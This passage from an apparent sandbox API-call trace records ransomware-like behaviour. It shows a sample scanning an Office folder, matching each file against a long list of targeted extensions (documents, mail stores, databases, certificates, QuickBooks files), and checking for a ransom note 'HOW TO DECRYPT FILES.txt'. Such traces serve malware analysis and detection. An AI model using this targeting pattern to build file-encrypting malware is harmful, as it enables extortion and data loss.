lstrlenA (lpString="*.idx") returned 5 [0066.375] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.dbx") returned 0 [0066.375] lstrlenA (lpString="*.dbx") returned 5 [0066.376] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.sql") returned 0 [0066.376] lstrlenA (lpString="*.sql") returned 5 [0066.376] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.mdb") returned 0 [0066.376] lstrlenA (lpString="*.mdb") returned 5 [0066.376] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.fdb") returned 0 [0066.376] lstrlenA (lpString="*.fdb") returned 5 [0066.376] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.wab") returned 0 [0066.376] lstrlenA (lpString="*.wab") returned 5 [0066.376] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.dat") returned 0 [0066.376] lstrlenA (lpString="*.dat") returned 5 [0066.376] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.txt") returned 0 [0066.376] lstrlenA (lpString="*.txt") returned 5 [0066.376] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.jpeg") returned 0 [0066.376] lstrlenA (lpString="*.jpeg") returned 6 [0066.376] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.jpg") returned 0 [0066.376] lstrlenA (lpString="*.jpg") returned 5 [0066.376] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.png") returned 0 [0066.376] lstrlenA (lpString="*.png") returned 5 [0066.376] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.php") returned 0 [0066.377] lstrlenA (lpString="*.php") returned 5 [0066.377] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.cs") returned 0 [0066.377] lstrlenA (lpString="*.cs") returned 4 [0066.377] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.cpp") returned 0 [0066.377] lstrlenA (lpString="*.cpp") returned 5 [0066.377] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.rar") returned 0 [0066.377] lstrlenA (lpString="*.rar") returned 5 [0066.377] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.zip") returned 0 [0066.377] lstrlenA (lpString="*.zip") returned 5 [0066.377] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.html") returned 0 [0066.377] lstrlenA (lpString="*.html") returned 6 [0066.377] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.htm") returned 0 [0066.377] lstrlenA (lpString="*.htm") returned 5 [0066.377] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.xlsx") returned 0 [0066.377] lstrlenA (lpString="*.xlsx") returned 6 [0066.377] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.xls") returned 0 [0066.377] lstrlenA (lpString="*.xls") returned 5 [0066.377] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.mp4") returned 0 [0066.377] lstrlenA (lpString="*.mp4") returned 5 [0066.377] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.ppt") returned 0 [0066.377] lstrlenA (lpString="*.ppt") returned 5 [0066.378] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.pptx") returned 0 [0066.378] lstrlenA (lpString="*.pptx") returned 6 [0066.378] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.doc") returned 0 [0066.378] lstrlenA (lpString="*.doc") returned 5 [0066.378] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.dot") returned 0 [0066.378] lstrlenA (lpString="*.dot") returned 5 [0066.378] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.docx") returned 0 [0066.378] lstrlenA (lpString="*.docx") returned 6 [0066.378] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.7z") returned 0 [0066.378] lstrlenA (lpString="*.7z") returned 4 [0066.378] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.tar") returned 0 [0066.378] lstrlenA (lpString="*.tar") returned 5 [0066.378] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.bz2") returned 0 [0066.378] lstrlenA (lpString="*.bz2") returned 5 [0066.378] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.gz") returned 0 [0066.378] lstrlenA (lpString="*.gz") returned 4 [0066.378] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.mkv") returned 0 [0066.378] lstrlenA (lpString="*.mkv") returned 5 [0066.378] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.eml") returned 0 [0066.379] lstrlenA (lpString="*.eml") returned 5 [0066.379] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.msg") returned 0 [0066.379] lstrlenA (lpString="*.msg") returned 5 [0066.379] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.edb") returned 0 [0066.379] lstrlenA (lpString="*.edb") returned 5 [0066.379] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.accdb") returned 0 [0066.379] lstrlenA (lpString="*.accdb") returned 7 [0066.379] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.odb") returned 0 [0066.379] lstrlenA (lpString="*.odb") returned 5 [0066.379] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.java") returned 0 [0066.379] lstrlenA (lpString="*.java") returned 6 [0066.379] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.asm") returned 0 [0066.379] lstrlenA (lpString="*.asm") returned 5 [0066.379] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.pfx") returned 0 [0066.379] lstrlenA (lpString="*.pfx") returned 5 [0066.379] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.pem") returned 0 [0066.379] lstrlenA (lpString="*.pem") returned 5 [0066.379] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.p12") returned 0 [0066.379] lstrlenA (lpString="*.p12") returned 5 [0066.379] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.gpg") returned 0 [0066.379] lstrlenA (lpString="*.gpg") returned 5 [0066.379] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.vsd") returned 0 [0066.380] lstrlenA (lpString="*.vsd") returned 5 [0066.380] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.odg") returned 0 [0066.380] lstrlenA (lpString="*.odg") returned 5 [0066.380] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.raw") returned 0 [0066.380] lstrlenA (lpString="*.raw") returned 5 [0066.380] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.nef") returned 0 [0066.380] lstrlenA (lpString="*.nef") returned 5 [0066.380] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.svg") returned 0 [0066.380] lstrlenA (lpString="*.svg") returned 5 [0066.380] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.psd") returned 0 [0066.380] lstrlenA (lpString="*.psd") returned 5 [0066.380] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.vmx") returned 0 [0066.380] lstrlenA (lpString="*.vmx") returned 5 [0066.380] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.vmdk") returned 0 [0066.380] lstrlenA (lpString="*.vmdk") returned 6 [0066.380] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.vdi") returned 0 [0066.380] lstrlenA (lpString="*.vdi") returned 5 [0066.380] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.lay6") returned 0 [0066.380] lstrlenA (lpString="*.lay6") returned 6 [0066.380] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.mpeg") returned 0 [0066.380] lstrlenA (lpString="*.mpeg") returned 6 [0066.380] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.djvu") returned 0 [0066.381] lstrlenA (lpString="*.djvu") returned 6 [0066.381] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.tiff") returned 0 [0066.381] lstrlenA (lpString="*.tiff") returned 6 [0066.381] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.backup") returned 0 [0066.381] lstrlenA (lpString="*.backup") returned 8 [0066.381] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.pdf") returned 0 [0066.381] lstrlenA (lpString="*.pdf") returned 5 [0066.381] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.cert") returned 0 [0066.381] lstrlenA (lpString="*.cert") returned 6 [0066.381] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.docm") returned 0 [0066.381] lstrlenA (lpString="*.docm") returned 6 [0066.381] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.xlsm") returned 0 [0066.381] lstrlenA (lpString="*.xlsm") returned 6 [0066.381] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.dwg") returned 0 [0066.381] lstrlenA (lpString="*.dwg") returned 5 [0066.381] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.nd") returned 0 [0066.381] lstrlenA (lpString="*.nd") returned 4 [0066.381] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.tlg") returned 0 [0066.381] lstrlenA (lpString="*.tlg") returned 5 [0066.381] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.lgb") returned 0 [0066.381] lstrlenA (lpString="*.lgb") returned 5 [0066.381] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.mov") returned 0 [0066.382] lstrlenA (lpString="*.mov") returned 5 [0066.382] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.xdw") returned 0 [0066.382] lstrlenA (lpString="*.xdw") returned 5 [0066.382] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.ods") returned 0 [0066.382] lstrlenA (lpString="*.ods") returned 5 [0066.382] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.wav") returned 0 [0066.382] lstrlenA (lpString="*.wav") returned 5 [0066.382] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.mp3") returned 0 [0066.382] lstrlenA (lpString="*.mp3") returned 5 [0066.382] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.aiff") returned 0 [0066.382] lstrlenA (lpString="*.aiff") returned 6 [0066.382] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.flac") returned 0 [0066.382] lstrlenA (lpString="*.flac") returned 6 [0066.382] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.m4a") returned 0 [0066.382] lstrlenA (lpString="*.m4a") returned 5 [0066.382] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.csv") returned 0 [0066.382] lstrlenA (lpString="*.csv") returned 5 [0066.382] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x780074, dwReserved1=0x74, cFileName="YAHOO.FR.XML", cAlternateFileName="YAHOOF~1.XML")) returned 1 [0066.382] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.382] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="YAHOO.FR.XML") returned -1 [0066.382] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="YAHOO.FR.XML") returned -1 [0066.382] lstrcmpiA (lpString1="", lpString2="YAHOO.FR.XML") returned -1 [0066.383] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML") returned="YAHOO.ES.XML" [0066.383] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0066.383] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="" [0066.383] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO DECRYPT FILES.txt" [0066.383] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\how to decrypt files.txt")) returned 0x20 [0066.383] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\", lpString2="YAHOO.FR.XML" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML" [0066.383] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.ems") returned 0 [0066.383] lstrlenA (lpString="*.ems") returned 5 [0066.383] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.db") returned 0 [0066.383] lstrlenA (lpString="*.db") returned 4 [0066.383] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.dbf") returned 0 [0066.383] lstrlenA (lpString="*.dbf") returned 5 [0066.383] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.myox") returned 0 [0066.383] lstrlenA (lpString="*.myox") returned 6 [0066.383] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.myo") returned 0 [0066.383] lstrlenA (lpString="*.myo") returned 5 [0066.383] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.qbw") returned 0 [0066.384] lstrlenA (lpString="*.qbw") returned 5 [0066.384] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.qbb") returned 0 [0066.384] lstrlenA (lpString="*.qbb") returned 5 [0066.384] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.qbm") returned 0 [0066.384] lstrlenA (lpString="*.qbm") returned 5 [0066.384] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.qbo") returned 0 [0066.384] lstrlenA (lpString="*.qbo") returned 5 [0066.384] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.qbx") returned 0 [0066.384] lstrlenA (lpString="*.qbx") returned 5 [0066.384] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.qba") returned 0 [0066.384] lstrlenA (lpString="*.qba") returned 5 [0066.384] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.qby") returned 0 [0066.384] lstrlenA (lpString="*.qby") returned 5 [0066.384] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.qbj") returned 0 [0066.384] lstrlenA (lpString="*.qbj") returned 5 [0066.384] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.ofx") returned 0 [0066.384] lstrlenA (lpString="*.ofx") returned 5 [0066.384] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.qif") returned 0 [0066.384] lstrlenA (lpString="*.qif") returned 5 [0066.384] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.mye") returned 0 [0066.385] lstrlenA (lpString="*.mye") returned 5 [0066.385] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.mbox") returned 0 [0066.385] lstrlenA (lpString="*.mbox") returned 6 [0066.385] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.eml") returned 0 [0066.385] lstrlenA (lpString="*.eml") returned 5 [0066.385] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.pst") returned 0 [0066.385] lstrlenA (lpString="*.pst") returned 5 [0066.385] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.ost") returned 0 [0066.385] lstrlenA (lpString="*.ost") returned 5 [0066.385] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.idx") returned 0 [0066.385] lstrlenA (lpString="*.idx") returned 5 [0066.385] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.dbx") returned 0 [0066.385] lstrlenA (lpString="*.dbx") returned 5 [0066.385] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.sql") returned 0 [0066.385] lstrlenA (lpString="*.sql") returned 5 [0066.385] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.mdb") returned 0 [0066.385] lstrlenA (lpString="*.mdb") returned 5 [0066.385] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.fdb") returned 0 [0066.385] lstrlenA (lpString="*.fdb") returned 5 [0066.385] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.wab") returned 0 [0066.385] lstrlenA (lpString="*.wab") returned 5 [0066.385] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.dat") returned 0 [0066.385] lstrlenA (lpString="*.dat") returned 5 [0066.386] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.txt") returned 0 [0066.386] lstrlenA (lpString="*.txt") returned 5 [0066.386] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.jpeg") returned 0 [0066.386] lstrlenA (lpString="*.jpeg") returned 6 [0066.386] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.jpg") returned 0 [0066.386] lstrlenA (lpString="*.jpg") returned 5 [0066.386] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.png") returned 0 [0066.386] lstrlenA (lpString="*.png") returned 5 [0066.386] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.php") returned 0 [0066.386] lstrlenA (lpString="*.php") returned 5 [0066.386] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.cs") returned 0 [0066.386] lstrlenA (lpString="*.cs") returned 4 [0066.386] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.cpp") returned 0 [0066.386] lstrlenA (lpString="*.cpp") returned 5 [0066.386] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.rar") returned 0 [0066.386] lstrlenA (lpString="*.rar") returned 5 [0066.386] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.zip") returned 0 [0066.386] lstrlenA (lpString="*.zip") returned 5 [0066.386] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.html") returned 0 [0066.386] lstrlenA (lpString="*.html") returned 6 [0066.387] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.htm") returned 0 [0066.387] lstrlenA (lpString="*.htm") returned 5 [0066.387] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.xlsx") returned 0 [0066.387] lstrlenA (lpString="*.xlsx") returned 6 [0066.387] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.xls") returned 0 [0066.387] lstrlenA (lpString="*.xls") returned 5 [0066.387] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.mp4") returned 0 [0066.387] lstrlenA (lpString="*.mp4") returned 5 [0066.387] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.ppt") returned 0 [0066.387] lstrlenA (lpString="*.ppt") returned 5 [0066.387] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.pptx") returned 0 [0066.387] lstrlenA (lpString="*.pptx") returned 6 [0066.387] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.doc") returned 0 [0066.387] lstrlenA (lpString="*.doc") returned 5 [0066.387] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.dot") returned 0 [0066.387] lstrlenA (lpString="*.dot") returned 5 [0066.387] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", pszSpec="*.docx") returned 0 [0066.387] lstrlenA (lpString="*.docx") returned 6 [0066.387] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft 